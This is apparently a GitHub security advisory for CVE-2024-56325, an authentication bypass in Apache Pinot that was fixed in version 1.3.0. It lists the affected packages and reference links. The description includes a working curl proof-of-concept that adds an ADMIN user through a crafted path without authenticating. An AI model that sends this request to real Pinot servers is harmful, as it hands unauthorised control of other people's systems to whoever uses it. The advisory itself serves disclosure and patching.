GitHub Advisoryadvisory · Maven
GHSA-6jwp-4wvj-6597 Apache Pinot Vulnerable to Authentication Bypass
CRITICAL
Official page ↗
- Aliases
- CVE-2024-56325
- Ecosystem
- Maven
- Packages
- org.apache.pinot:pinot-broker, org.apache.pinot:pinot-common, org.apache.pinot:pinot-controller
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-288
- Reviewed
- 2025-04-01
Affected packages
• Maven org.apache.pinot:pinot-broker: >= 0.8.0, < 1.3.0 → fixed in 1.3.0
• Maven org.apache.pinot:pinot-common: >= 0.8.0, < 1.3.0 → fixed in 1.3.0
• Maven org.apache.pinot:pinot-controller: >= 0.8.0, < 1.3.0 → fixed in 1.3.0
Description
Authentication Bypass Issue
If the path does not contain / and contain., authentication is not required.
Expected Normal Request and Response Example
curl -X POST -H "Content-Type: application/json" -d {\"username\":\"hack2\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"} http://{server_ip}:9000/users
Return: {"code":401,"error":"HTTP 401 Unauthorized"}
Malicious Request and Response Example
curl -X POST -H "Content-Type: application/json" -d '{\"username\":\"hack\",\"password\":\"hack\",\"component\":\"CONTROLLER\",\"role\":\"ADMIN\",\"tables\":[],\"permissions\":[],\"usernameWithComponent\":\"hack_CONTROLLER\"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .
Return: {"users":{}}
A new user gets added bypassing authentication, enabling the user to control Pinot.
Related
Alias · CVE (1)
- CVE-2024-56325 Authentication Bypass Issue If the path does not contain / and contain., authentication is not required. vulnerability
Weakness · CWE (1)
- CWE-288 Authentication Bypass Using an Alternate Path or Channel weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2024-56325 advisory
- https://github.com/apache/pinot/pull/14383 web
- https://github.com/apache/pinot/commit/1b87488aeaf4836e3ef25b426ebbf1ad5a68e68f web
- https://github.com/apache/pinot/commit/89a22f097c5ff26396e58950c90d764066a56121 web
- https://github.com/apache/pinot package
- https://github.com/apache/pinot/releases/tag/release-1.3.0 web
- https://lists.apache.org/thread/ksf8qsndr1h66otkbjz2wrzsbw992r8v web
- http://www.openwall.com/lists/oss-security/2025/03/27/8 web